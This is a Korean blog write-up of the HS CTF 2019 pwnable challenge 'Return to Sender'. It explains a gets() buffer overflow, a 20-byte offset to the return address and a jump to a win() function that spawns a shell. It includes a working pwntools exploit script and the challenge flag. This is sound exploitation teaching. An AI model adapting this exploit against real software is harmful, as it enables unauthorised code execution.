ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HS CTF 2019 <Return to Sender> Write-Up
    WeekHack/Pwnable 2019. 6. 8. 10:29
    반응형
    SMALL

    안녕하세요. Luke입니다. HS CTF가 끝난 후 Pwnable 중 단순히 Netcat에 접속하기만 하면 되는 단순한 문제를 빼면 진정한 Pwnable 문제의 시작인 문제였습니다. 그만큼 쉬웠고, 단순한 쉘코드를 이용한 문제였습니다.

     

    뭐 문제에서는크게 힌트를 얻지 못했습니다. 일단 IDA로 열어봤습니다. (사실 C언어 소스코드도 주어졌습니다.)

    main() 함수 안에 vuln()이라는 함수가 있고,

    해당 함수 내에서 gets로 입력값을 받아오기에 버퍼오버플로우 취약점이 발생하게 됩니다.

     

    그럼 이제 해당 바이너리에 포함된 메모리 보호기법을 확인해보았습니다.

    NX가 걸려있습니다. 쉘코드를 넣는건 안되겠네요.

    그래서 다시 분석하던 중 win()이라는 함수를 찾았습니다.

    win() 함수에는 binsh를 띄우는 system함수가 있네요. 그럼 이제 ret 주소를 win()의 주소로 바꾸면 되겠습니다.

     

    win()의 주소는

    0x080491B6에 있습니다.

     

    그럼 이제 RET을 조작하면 되니까 메모리 구조를 한 번 계산해보도록 하겠습니다. 해당 바이너리는 32비트 바이너리입니다.

    그러므로 0x10(16) + sfp 0x4(4) + RET 이라는 구조가 되게 됩니다. 그러니 Dummy로 20만큼 채운 다음 RET을 조작하게 하면 됩니다.

     

    해당 내용을 가지고 익스코드를 짜면

    from pwn import *
      
    bina='return-to-sender'
    #p=process(bina)
    p=remote('pwn.hsctf.com',1234)
    e=ELF(bina)
    
    p.recvuntil('Where are you sending your mail to today? ')
    pay="A"*20
    pay+=p32(0x080491B6)
    p.sendline(pay)
    
    p.interactive()

    과 같이 되게 됩니다.

     

    익스를 하면..!

    성공적으로 익스를 하고 flag를 가져올 수 있게 됩니다.

    hsctf{fedex_dont_fail_me_now}

     

    반응형
    LIST

    댓글

Copyright ⓒ 2019, WeekHack